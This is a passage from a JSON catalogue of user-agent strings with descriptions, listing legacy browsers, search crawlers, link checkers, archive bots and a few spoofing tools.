Explorer 8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\"},{\"description\":\"IE 8.0 (beta) on Win Vista\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\"},{\"description\":\"Bsalsa embedded browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; Orange 8.0; GTB6.3; Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  Embedded Web Browser from: http:\\/\\/bsalsa.com\\/; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.1.3)\"},{\"description\":\"DAUMOA - Daum search Korea robot (211.115.109.xxx)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http:\\/\\/ws.daum.net\\/aboutkr.html)\"},{\"description\":\"DAUMOA - Daum search Korea robot (211.115.109.xxx)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE is not me; DAUMOA\\/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea)\"},{\"description\":\"Naver Search Korea Naverbot\",\"ua\":\"Mozilla\\/4.0 (compatible; NaverBot\\/1.0; http:\\/\\/help.naver.com\\/delete_main.asp)\"},{\"description\":\"Netcraft webserver info\",\"ua\":\"Mozilla\\/4.0 (compatible; Netcraft Web Server Survey)\"},{\"description\":\"NetPromoter Link Utility link checking tool \",\"ua\":\"Mozilla\\/4.0 (compatible; NetPromoter Spider;http:\\/\\/www.net-promoter.com\\/)\"},{\"description\":\"Opera 3.x WinNT\",\"ua\":\"Mozilla\\/4.0 (compatible; Opera\\/3.0; Windows 4.10) 3.51 [en]\"},{\"description\":\"Powermarks bookmark manager\",\"ua\":\"Mozilla\\/4.0 (compatible; Powermarks\\/3.5; Windows 95\\/98\\/2000\\/NT)\"},{\"description\":\"RSS Popper - MS Outlook RSS reader plugin\",\"ua\":\"Mozilla\\/4.0 (compatible; RSS Popper)\"},{\"description\":\"SiteKiosk public terminal browser\",\"ua\":\"Mozilla\\/4.0 (compatible; SiteKiosk 4.0; MSIE 5.0; Windows 98; SiteCoach 1.0)\"},{\"description\":\"Entireweb Search Speedyspider (62.13.25.xxx)\",\"ua\":\"Mozilla\\/4.0 (compatible; SpeedySpider; www.entireweb.com)\"},{\"description\":\"SiteProbe - website status checking\",\"ua\":\"Mozilla\\/4.0 (compatible; SPENG)\"},{\"description\":\"Super Cleaner privacy tool (bookmark checking)\",\"ua\":\"Mozilla\\/4.0 (compatible; SuperCleaner 2.xx; Windows 98)\"},{\"description\":\"Synapse - Apache web service for processing XML documents\",\"ua\":\"Mozilla\\/4.0 (compatible; Synapse)\"},{\"description\":\"Web2PDF - Adobe Acrobat plugin for site traversal and other services for the Web Capture feature\",\"ua\":\"Mozilla\\/4.0 (compatible; WebCapture 3.0; Windows)\"},{\"description\":\"Windows HTTP Services (WinHTTP \\/ XML-parser)\",\"ua\":\"Mozilla\\/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\"},{\"description\":\"WSN Links PHP directory software\",\"ua\":\"Mozilla\\/4.0 (compatible; WSN Links)\"},{\"description\":\"Euro Directory (German \\/ Austrian) directory link checking\",\"ua\":\"Mozilla\\/4.0 (compatible; www.euro-directory.com; urlchecker1.0)\"},{\"description\":\"Galaxy robot\",\"ua\":\"Mozilla\\/4.0 (compatible; www.galaxy.com)\"},{\"description\":\"Linkguard.com link validation (service is offline)\",\"ua\":\"Mozilla\\/4.0 (compatible; www.linkguard.com Linkguard Online 1.0; Windows NT)\"},{\"description\":\"Yahoo Search Japan robot (203.141.52.)\",\"ua\":\"Mozilla\\/4.0 (compatible; Y!J; for robot study; keyoshid)\"},{\"description\":\"Yahoo Japan robot (202.93.76.xx)\",\"ua\":\"Mozilla\\/4.0 (compatible; Yahoo Japan; for robot study; kasugiya)\"},{\"description\":\"Faked IE id string used by DeepTrawl link checking tool\",\"ua\":\"Mozilla\\/4.0 (compatible;MSIE 6.0; Windows NT 5.0; H010818)\"},{\"description\":\"spoofed referer by Fantomaster (Multiblocker) anonymity products\",\"ua\":\"Mozilla\\/4.0 (fantomBrowser)\"},{\"description\":\"spoofed referer by Fantomaster (Multiblocker) anonymity products\",\"ua\":\"Mozilla\\/4.0 (fantomCrew Browser)\"},{\"description\":\"unknown robot from - 64.57.223.40 - 66.28.233.xxx (cogentco.com)\",\"ua\":\"Mozilla\\/4.0 (hhjhj@yahoo.com)\"},{\"description\":\"Activtourist Jemma spider\",\"ua\":\"Mozilla\\/4.0 (JemmaTheTourist;http:\\/\\/www.activtourist.com)\"},{\"description\":\"NetFront (v3.x) for Pocket PC (here on Sanyo PM-8200 cell phone)\",\"ua\":\"Mozilla\\/4.0 (MobilePhone PM-8200\\/US\\/1.0) NetFront\\/3.x MMP\\/2.0\"},{\"description\":\"Google robot from 66.249.66.xxx \",\"ua\":\"Mozilla\\/4.0 (MobilePhone SCP-5500\\/US\\/1.0) NetFront\\/3.0 MMP\\/2.0 (compatible; Googlebot\\/2.1; http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Google robot from 66.249.66.xxx \",\"ua\":\"Mozilla\\/4.0 (MobilePhone SCP-5500\\/US\\/1.0) NetFront\\/3.0 MMP\\/2.0 FAKE (compatible; Googlebot\\/2.1; http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Unknown robot from Mozilla.org\",\"ua\":\"Mozilla\\/4.0 (Mozilla; http:\\/\\/www.mozilla.org\\/docs\\/en\\/bot.html; master@mozilla.com)\"},{\"description\":\"ASI - Any Search Info robot\",\"ua\":\"Mozilla\\/4.0 (Sleek Spider\\/1.2)\"},{\"description\":\"Furl (Looksmart) online bookmark tool robot\",\"ua\":\"Mozilla\\/4.0 compatible FurlBot\\/Furl Search 2.0 (FurlBot; http:\\/\\/www.furl.net; wn.furlbot@looksmart.net)\"},{\"description\":\"Wisenut robot\",\"ua\":\"Mozilla\\/4.0 compatible ZyBorg\\/1.0 (wn.zyborg@looksmart.net; http:\\/\\/www.WISEnutbot.com)\"},{\"description\":\"Wisenut robot\",\"ua\":\"Mozilla\\/4.0 compatible ZyBorg\\/1.0 (ZyBorg@WISEnutbot.com; http:\\/\\/www.WISEnutbot.com)\"},{\"description\":\"Wisenut robot\",\"ua\":\"Mozilla\\/4.0 compatible ZyBorg\\/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http:\\/\\/www.WISEnutbot.com)\"},{\"description\":\"Wisenut robot\",\"ua\":\"Mozilla\\/4.0 compatible ZyBorg\\/1.0 for Homepage (ZyBorg@WISEnutbot.com; http:\\/\\/www.WISEnutbot.com)\"},{\"description\":\"Unknown robot from 66.230.140.xx (argon.oxeo.com) maybe an e-mail collector\",\"ua\":\"Mozilla\\/4.0 efp@gmx.net\"},{\"description\":\"WebTV\",\"ua\":\"Mozilla\\/4.0 WebTV\\/2.6 (compatible; MSIE 4.0)\"},{\"description\":\"Ask \\/ Ask Jeeves robot\",\"ua\":\"Mozilla\\/4.0 [en] (Ask Jeeves Corporate Spider)\"},{\"description\":\"LookSmart spider\",\"ua\":\"Mozilla\\/4.0(compatible; Zealbot 1.0)\"},{\"description\":\"HideMe - Web based anonymous proxy server service\",\"ua\":\"Mozilla\\/4.01 (compatible; NORAD National Defence Network)\"},{\"description\":\"Some download manager spoofing Netscape 4.01\",\"ua\":\"Mozilla\\/4.01 [en](Win95;I)\"},{\"description\":\"Netscape 4.x SunOS 5.6\",\"ua\":\"Mozilla\\/4.02 [en] (X11; I; SunOS 5.6 sun4u)\"},{\"description\":\"Dulance Bot - Dulance automated price comparison engine\",\"ua\":\"Mozilla\\/4.04 (compatible; Dulance bot; +http:\\/\\/www.dulance.com\\/bot.jsp)\"},{\"description\":\"Netscape 4.x HP-Unix\",\"ua\":\"Mozilla\\/4.04 [en] (X11; I; HP-UX B.10.20 9000\\/712)\"},{\"description\":\"Netscape 4.x IRIX\",\"ua\":\"Mozilla\\/4.04 [en] (X11; I; IRIX 5.3 IP22)\"},{\"description\":\"Netscape 4.x Macintosh 68k\",\"ua\":\"Mozilla\\/4.05 (Macintosh; I; 68K Nav)\"},{\"description\":\"Netscape 4.x Macintosh PowerPC\",\"ua\":\"Mozilla\\/4.05 (Macintosh; I; PPC Nav)\"},{\"description\":\"Netscape 4.x SunOS 4.1.4\",\"ua\":\"Mozilla\\/4.05 [en] (X11; I; SunOS 4.1.4 sun4m)\"},{\"description\":\"Version 4.08 [en]-98306\",\"ua\":\"Mozilla\\/4.08 [en] (Win98; U ;Nav)\"},{\"description\":\"Netscape 4.x WinNT\",\"ua\":\"Mozilla\\/4.08 [en] (WinNT; U)\"},{\"description\":\"Echo.com robot\",\"ua\":\"Mozilla\\/4.0_(compatible;_MSIE_5.0;_Windows_95)_TrueRobot\\/1.4 libwww\\/5.2.8\"},{\"description\":\"Voila.fr robot\",\"ua\":\"Mozilla\\/4.0_(compatible;_MSIE_5.0;_Windows_95)_VoilaBot\\/1.6 libwww\\/5.3.2\"},{\"description\":\"HTTrack Offline Browser\",\"ua\":\"Mozilla\\/4.5 (compatible; HTTrack 3.0x; Windows 98)\"},{\"description\":\"iCab MAC Web browser MAC Power PC\",\"ua\":\"Mozilla\\/4.5 (compatible; iCab 2.5.3; Macintosh; I; PPC)\"},{\"description\":\"OmniWeb 4.x.x Mac browser\",\"ua\":\"Mozilla\\/4.5 (compatible; OmniWeb\\/4.0.5; Mac_PowerPC)\"},{\"description\":\"OmniWeb 4.x.x Mac browser\",\"ua\":\"Mozilla\\/4.5 (compatible; OmniWeb\\/4.1-beta-1; Mac_PowerPC)\"},{\"description\":\"different IPs using the HTTPClient library (mostly link checking)\",\"ua\":\"Mozilla\\/4.5 RPT-HTTPClient\\/0.3-2\"},{\"description\":\"RuralNet Internet Services\",\"ua\":\"Mozilla\\/4.5 [en]C-CCK-MCD {RuralNet} (Win98; I)\"},{\"description\":\"Netscape 4.x Linux\",\"ua\":\"Mozilla\\/4.5b1 [en] (X11; I; Linux 2.0.35 i586)\"},{\"description\":\"Cnet robot for Search.com (216.239.114.xx)\",\"ua\":\"Mozilla\\/4.6 [en] (http:\\/\\/www.cnet.com\\/)\"},{\"description\":\"Netscape 4.x OS\\/2\",\"ua\":\"Mozilla\\/4.61 [de] (OS\\/2; I)\"},{\"description\":\"BrowseX cross-platform browser\",\"ua\":\"Mozilla\\/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)\"},{\"description\":\"Nameprotect (12.148.196.128 - 12.148.196.255) snoopbot\",\"ua\":\"Mozilla\\/4.7\"},{\"description\":\"Eidetica earch and text mining spider\",\"ua\":\"Mozilla\\/4.7 (compatible; http:\\/\\/eidetica.com\\/spider)\"},{\"description\":\"Intelliseek (64.158.138.xx) robot\",\"ua\":\"Mozilla\\/4.7 (compatible; Intelliseek; http:\\/\\/www.intelliseek.com)\"},{\"description\":\"OffByOne Browser\",\"ua\":\"Mozilla\\/4.7 (compatible; OffByOne; Windows 98) Webster Pro V3.2\"},{\"description\":\"WhizBang! Labs information extraction robot\",\"ua\":\"Mozilla\\/4.7 (compatible; Whizbang)\"},{\"description\":\"WhizBang! Labs information extraction robot\",\"ua\":\"Mozilla\\/4.7 (compatible; WhizBang; http:\\/\\/www.whizbang.com\\/crawler)\"},{\"description\":\"BecomeBot - Becomecom shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/4.7 [en](BecomeBot@exava.com)\"},{\"description\":\"Exabot - exava shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/4.7 [en](Exabot@exava.com)\"},{\"description\":\"unknown\",\"ua\":\"Mozilla\\/4.7 [en]C-CCK-MCD {Yahoo;YIP052400} (Win95; I)\"},{\"description\":\"http:\\/\\/www.ba.be robot\",\"ua\":\"Mozilla\\/4.72 [en] (BACS http:\\/\\/www.ba.be)\"},{\"description\":\"Netscpape 4.7x Caldera Open Linux Pentium III\",\"ua\":\"Mozilla\\/4.72C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.14 i686)\"},{\"description\":\"Netscape 4.7x Japan OSF1 alpha\",\"ua\":\"Mozilla\\/4.75C-ja [ja] (X11; U; OSF1 V5.1 alpha)\"},{\"description\":\"Opera 5.x Win 98\",\"ua\":\"Mozilla\\/4.76 (Windows 98; U) Opera 5.12 [en]\"},{\"description\":\"Netscape 4.7x FreeBSD\",\"ua\":\"Mozilla\\/4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386)\"},{\"description\":\"Netscape 4.7x SunOS\",\"ua\":\"Mozilla\\/4.76 [en] (X11; U; SunOS 5.7 sun4u)\"},{\"description\":\"IRIX 6.5\",\"ua\":\"Mozilla\\/4.77C-SGI [en] (X11; U; IRIX 6.5 IP32)\"},{\"description\":\"GigaMedia \\/ NTT DoCoMo robot\",\"ua\":\"Mozilla\\/5.0\"},{\"description\":\"Eurekster Swicki community search using SLI-Systems site search engine Mammoth\",\"ua\":\"Mozilla\\/5.0 (+http:\\/\\/www.eurekster.com\\/mammoth) Mammoth\\/0.1\"},{\"description\":\"SLI Systems mammoth robot\",\"ua\":\"Mozilla\\/5.0 (+http:\\/\\/www.sli-systems.com\\/) Mammoth\\/0.1\"},{\"description\":\"Clush search robot\",\"ua\":\"Mozilla\\/5.0 (Clustered-Search-Bot\\/1.0; support@clush.com; http:\\/\\/www.clush.com\\/)\"},{\"description\":\"Greasemonkey RSS panel Firefox plugin\",\"ua\":\"Mozilla\\/5.0 (compatible) GM RSS Panel X\"},{\"description\":\"Evri search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; +http:\\/\\/www.evri.com\\/evrinid)\"},{\"description\":\"008 distributed crawler for 80legs\",\"ua\":\"Mozilla\\/5.0 (compatible; 008\\/0.83; http:\\/\\/www.80legs.com\\/spider.html;) Gecko\\/2008032620\"},{\"description\":\"Abonti WebSearch beta robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Abonti\\/0.8 - http:\\/\\/www.abonti.com)\"},{\"description\":\"HitCompanies Aihit crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; aiHitBot\\/1.0; +http:\\/\\/www.aihit.com\\/)\"},{\"description\":\"Ansearch Australian search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; AnsearchBot\\/1.x; +http:\\/\\/www.ansearch.com.au\\/)\"},{\"description\":\"The Library of Congress Minerva crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; archive.org_bot\\/1.10.0 +http:\\/\\/www.loc.gov\\/minerva\\/crawl.html)\"},{\"description\":\"Heritrix - The Internet Archive's open-source crawler (207.241.225.2xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; archive.org_bot\\/1.13.1x http:\\/\\/crawler.archive.org)\"},{\"description\":\"Heritrix - The Internet Archive's open-source crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; archive.org_bot\\/1.5.0-200506132127 http:\\/\\/crawler.archive.org) Hurricane Katrina\"},{\"description\":\"Ask Jeeves \\/Teoma robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Ask Jeeves\\/Teoma;  http:\\/\\/about.ask.com\\/en\\/docs\\/about\\/webmasters.shtml)\"},{\"description\":\"Project BanBots Perl script robot\",\"ua\":\"Mozilla\\/5.0 (compatible; BanBots\\/2.0b; Fetch; +http:\\/\\/www.banbots.com)\"},{\"description\":\"BecomeBot - Become.com shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/5.0 (compatible; BecomeBot\\/1.23; http:\\/\\/www.become.com\\/webmasters.html)\"},{\"description\":\"BecomeBot - Become.com shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/5.0 (compatible; BecomeBot\\/1.xx; MSIE 6.0 compatible; http:\\/\\/www.become.com\\/webmasters.html)\"},{\"description\":\"BecomeBot - Become.com shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/5.0 (compatible; BecomeBot\\/2.0beta; http:\\/\\/www.become.com\\/webmasters.html)\"},{\"description\":\"BecomeBot - Become.com shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/5.0 (compatible; BecomeBot\\/2.x; MSIE 6.0 compatible; http:\\/\\/www.become.com\\/site_owners.html)\"},{\"description\":\"BecomeBot - Become.com shopping search (64.124.85.xx(x))\",\"ua\":\"Mozilla\\/5.0 (compatible; BecomeJPBot\\/2.3; MSIE 6.0 compatible; +http:\\/\\/www.become.co.jp\\/site_owners.html)\"},{\"description\":\"BlogRefsBot.com blog robot\",\"ua\":\"Mozilla\\/5.0 (compatible; BlogRefsBot\\/0.1; http:\\/\\/www.blogrefs.com\\/about\\/bloggers)\"},{\"description\":\"Pressemitteilungen Webservice RSS \\/ news crawler (Germany)\",\"ua\":\"Mozilla\\/5.0 (compatible; Bot; +http:\\/\\/pressemitteilung.ws\\/spamfilter\"},{\"description\":\"BuzzRanking internet content analysis\",\"ua\":\"Mozilla\\/5.0 (compatible; BuzzRankingBot\\/1.0; +http:\\/\\/www.buzzrankingbot.com\\/)\"},{\"description\":\"Charlotte indexing spider for Searchme \\/ Wikiseek\",\"ua\":\"Mozilla\\/5.0 (compatible; Charlotte\\/1.0b; charlotte@betaspider.com)\"},{\"description\":\"Charlotte indexing spider for Searchme \\/ Wikiseek\",\"ua\":\"Mozilla\\/5.0 (compatible; Charlotte\\/1.0b; http:\\/\\/www.searchme.com\\/support\\/)\"},{\"description\":\"Unknown graphics crawler or downloading agent from Yamana Laboratory - Waseda Univerity Japan (133.9.238.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Crawling jpeg; http:\\/\\/www.yama.info.waseda.ac.jp)\"},{\"description\":\"Custo web site spidering tool (link checking)\",\"ua\":\"Mozilla\\/5.0 (compatible; Custo 3 (Netwu.com); Windows NT 5.1)\"},{\"description\":\"De.com German travel related search via Amazon Web Services\",\"ua\":\"Mozilla\\/5.0 (compatible; de\\/1.13.2 +http:\\/\\/www.de.com)\"},{\"description\":\"Diffbot beta - RSS and news feed crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; Diffbot\\/0.1; +http:\\/\\/www.diffbot.com)\"},{\"description\":\"DNS-Digger - DNS server neighbourhood search\",\"ua\":\"Mozilla\\/5.0 (compatible; DNS-Digger-Explorer\\/1.0; +http:\\/\\/www.dnsdigger.com)\"},{\"description\":\"DNS-Digger - DNS server neighbourhood search\",\"ua\":\"Mozilla\\/5.0 (compatible; DNS-Digger\\/1.0; +http:\\/\\/www.dnsdigger.com)\"},{\"description\":\"Earthcom (Czech Republic) search robot (194.108.39.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; EARTHCOM.info\\/2.01; http:\\/\\/www.earthcom.info)\"},{\"description\":\"enter4u \\/ Earthcom.info search (Czech Republic)\",\"ua\":\"Mozilla\\/5.0 (compatible; EARTHCOM\\/2.2; +http:\\/\\/enter4u.eu)\"},{\"description\":\"Prague Faculty of Mathematics and Physics using Egothor open source crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; egothor\\/8.0g; +http:\\/\\/ego.ms.mff.cuni.cz\\/)\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Exabot Test\\/3.0; +http:\\/\\/www.exabot.com\\/go\\/robot)\"},{\"description\":\"TheFind.com - Shopping search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; FatBot 2.0; http:\\/\\/www.thefind.com\\/main\\/CrawlerFAQs.fhtml)\"},{\"description\":\"Galbot tagging robot (beta) - Denmark\",\"ua\":\"Mozilla\\/5.0 (compatible; Galbot\\/1.0; +http:\\/\\/www.galbot.com\\/bot.html)\"},{\"description\":\"Geneva Single-Site Search Engine used by Healthdash health search\",\"ua\":\"mozilla\\/5.0 (compatible; genevabot http:\\/\\/www.healthdash.com)\"},{\"description\":\"Paros - a Java based HTTP\\/HTTPS proxy\",\"ua\":\"Mozilla\\/5.0 (compatible; Google Desktop) Paros\\/3.2.12\"},{\"description\":\"Google robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Googlebot\\/2.1; http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Unknown robot using Heritrix\",\"ua\":\"mozilla\\/5.0 (compatible; heritrix\\/1.0.4 http:\\/\\/innovationblog.com)\"},{\"description\":\"The Stanford University InfoLab robot using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.10.2 +http:\\/\\/i.stanford.edu\\/)\"},{\"description\":\"Newstin news feed search using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.12.1 +http:\\/\\/newstin.com\\/)\"},{\"description\":\"Page-store.com vertical search via Amazon Web Services\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.12.1 +http:\\/\\/www.page-store.com)\"},{\"description\":\"Page-store.com vertical search via Amazon Web Services\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.12.1 +http:\\/\\/www.page-store.com) [email:paul@page-store.com]\"},{\"description\":\"Heritrix Internet Archive's open-source web project \",\"ua\":\"mozilla\\/5.0 (compatible; heritrix\\/1.3.0 http:\\/\\/archive.crawler.org)\"},{\"description\":\"Chepi Beta search Spain (194.116.240.1xx) using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.4.0 +http:\\/\\/www.chepi.net)\"},{\"description\":\"Truveo data mining robot using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.4t http:\\/\\/www.truveo.com\\/)\"},{\"description\":\"L3S WebCrawling Project (Germany) using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.5.0 http:\\/\\/www.l3s.de\\/~kohlschuetter\\/projects\\/crawling\\/)\"},{\"description\":\"Pandora Internet Archive crawler (Australia) using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.5.0-200506231921 http:\\/\\/pandora.nla.gov.au\\/crawl.html)\"},{\"description\":\"WORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.6.0 http:\\/\\/www.worio.com\\/)\"},{\"description\":\"greatarea.com website collection project using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.7.0 +http:\\/\\/www.greaterera.com\\/)\"},{\"description\":\"hanzo:web social web archiving service\",\"ua\":\"Mozilla\\/5.0 (compatible; Heritrix\\/1.8.0 http:\\/\\/www.hanzoarchives.com)\"},{\"description\":\"Accelobot - Accelovation Market Discovery software robot\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/1.x.x +http:\\/\\/www.accelobot.com)\"},{\"description\":\"Unknown AOL robot using Heritrix\",\"ua\":\"Mozilla\\/5.0 (compatible; heritrix\\/2.0.0-RC1 +http:\\/\\/www.aol.com)\"},{\"description\":\"Hermits Search.com - Products and service search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Hermit Search. Com; +http:\\/\\/www.hermitsearch.com)\"},{\"description\":\"IsMySiteUp? - Online website monitoring service\",\"ua\":\"Mozilla\\/5.0 (compatible; http:\\/\\/www.IsMySiteUp.Net\\/bot\\/ )\"},{\"description\":\"UptimeAuditor - real time web monitoring\",\"ua\":\"Mozilla\\/5.0 (compatible; http:\\/\\/www.UptimeAuditor.com\\/bot\\/ )\"},{\"description\":\"Hyperix vertical search crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; HyperixScoop\\/1.3; +http:\\/\\/www.hyperix.com)\"},{\"description\":\"Unknown robot (reads robots.txt) from chinatelecom (219.142.78.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; iaskspider\\/1.0; MSIE 6.0)\"},{\"description\":\"ID-Search.org - Russian search project\",\"ua\":\"Mozilla\\/5.0 (compatible; IDBot\\/1.0; +http:\\/\\/www.id-search.org\\/bot.html)\"},{\"description\":\"Najdi.si (Slovenia) search using Interseek\\/Web Interseek\\/API Search Engine\",\"ua\":\"Mozilla\\/5.0 (compatible; InterseekWeb\\/3.x)\"},{\"description\":\"hanzo:web social web archiving service\",\"ua\":\"Mozilla\\/5.0 (compatible; Jim +http:\\/\\/www.hanzoarchives.com)\"},{\"description\":\"Konqueror 2.0.x X11\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/2.0.1; X11); Supports MD5-Digest; Supports gzip encoding\"},{\"description\":\"Konqueror 2.1.x X11\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/2.1.1; X11)\"},{\"description\":\"Konqueror 2.2.x\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/2.2.2)\"},{\"description\":\"Konqueror 2.2.x Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/2.2.2; Linux 2.4.14-xfs; X11; i686)\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/3.5; Linux) KHTML\\/3.5.5 (like Gecko) (Exabot-Thumbnails)\"},{\"description\":\"Lemur Consulting LemIR spider\",\"ua\":\"Mozilla\\/5.0 (compatible; LemSpider 0.1)\"},{\"description\":\"Linksmanager.com online link checking service\",\"ua\":\"Mozilla\\/5.0 (compatible; LinksManager.com_bot http:\\/\\/linksmanager.com\\/linkchecker.html)\"},{\"description\":\"LinkStash Bookmark Manager\",\"ua\":\"Mozilla\\/5.0 (compatible; LinkStash Bookmark Manager; http:\\/\\/www.xrayz.co.uk\\/)\"},{\"description\":\"Mojeek Search Preview robot (217.155.205.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; MojeekBot\\/2.0; http:\\/\\/www.mojeek.com\\/bot.html)\"},{\"description\":\"Joomla!\\/Mambo component - MosBookmarks (bot) link checking\",\"ua\":\"Mozilla\\/5.0 (compatible; MOSBookmarks\\/v2.6-Plus; Link Checker)\"},{\"description\":\"PodTech entertainment and video network crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net)\"},{\"description\":\"onet.pl Szukaj (Search) robot (213.180.128.1xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; OnetSzukaj\\/5.0; http:\\/\\/szukaj.onet.pl)\"},{\"description\":\"Pagestacker online bookmark service\",\"ua\":\"Mozilla\\/5.0 (compatible; PagestackerBot; http:\\/\\/www.pagestacker.com)\"},{\"description\":\"PalmeraBot - Links24h.com search engine robot\",\"ua\":\"Mozilla\\/5.0 (compatible; PalmeraBot; http:\\/\\/www.links24h.com\\/help\\/palmera) Version 0.001\"},{\"description\":\"FeedMo feed search (Japan) using Pear HTTP\",\"ua\":\"Mozilla\\/5.0 (compatible; PEAR HTTP_Request class; http:\\/\\/feed.moo.jp\\/)\"},{\"description\":\"PHONifier mobile access to web content\",\"ua\":\"Mozilla\\/5.0 (compatible; Phonifier; +http:\\/\\/www.phonifier.com)\"},{\"description\":\"pmoz.info ODP link checking bot\",\"ua\":\"Mozilla\\/5.0 (compatible; pmoz.info ODP link checker; +http:\\/\\/pmoz.info\\/doc\\/botinfo.htm)\"},{\"description\":\"Pogodak search (Slovenia) robot via Interseek\",\"ua\":\"Mozilla\\/5.0 (compatible; pogodak.ba\\/3.x)\"},{\"description\":\"Pogodak search (Slovenia) robot via Interseek\",\"ua\":\"Mozilla\\/5.0 (compatible; Pogodak.hr\\/3.1)\"},{\"description\":\"Proximic Publisher Widget - RSS and news content generator\",\"ua\":\"Mozilla\\/5.0 (compatible; Proximic crawler; +http:\\/\\/www.proximic.com\\/en\\/about-us\\/contact-us.html)\"},{\"description\":\"ProgramacionWeb.net PWeBot crawler (Argentina)\",\"ua\":\"Mozilla\\/5.0 (compatible; PWeBot\\/3.1; http:\\/\\/www.programacionweb.net\\/robot.php)\"},{\"description\":\"Quantcast - Open Internet Ratings Service\",\"ua\":\"Mozilla\\/5.0 (compatible; Quantcastbot\\/1.0; www.quantcast.com)\"},{\"description\":\"robtex - Multi-RBL check and AS-numbercheck\",\"ua\":\"Mozilla\\/5.0 (compatible; robtexbot\\/1.0; http:\\/\\/www.robtex.com\\/ )\"},{\"description\":\"ScoutJet (Blekko) search web crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; ScoutJet; +http:\\/\\/www.scoutjet.com\\/)\"},{\"description\":\"Scrub the web robot (66.93.156.xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Scrubby\\/2.2;  http:\\/\\/www.scrubtheweb.com\\/)\"},{\"description\":\"Shunixbot (France) beta \\/ test semantic web indexing robot\",\"ua\":\"Mozilla\\/5.0 (compatible; ShunixBot\\/1.x.x +http:\\/\\/www.shunix.com\\/robot.htm)\"},{\"description\":\"Shunixbot (France) beta \\/ test semantic web indexing robot\",\"ua\":\"Mozilla\\/5.0 (compatible; ShunixBot\\/1.x; http:\\/\\/www.shunix.com\\/bot.htm)\"},{\"description\":\"Skreemr - Audio search engine\",\"ua\":\"Mozilla\\/5.0 (compatible; SkreemRBot +http:\\/\\/skreemr.com)\"},{\"description\":\"Snap Firefox Search Plugin\",\"ua\":\"Mozilla\\/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko\\/20061206 Firefox\\/1.5.0.9\"},{\"description\":\"Spurl.net bookmark service & search engine (84.40.30.xxx)\",\"ua\":\"Mozilla\\/5.0 (compatible; SpurlBot\\/0.2) \"},{\"description\":\"Summize - Opinion and review search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; SummizeBot +http:\\/\\/www.summize.com)\"},{\"description\":\"Syclik Control web content management 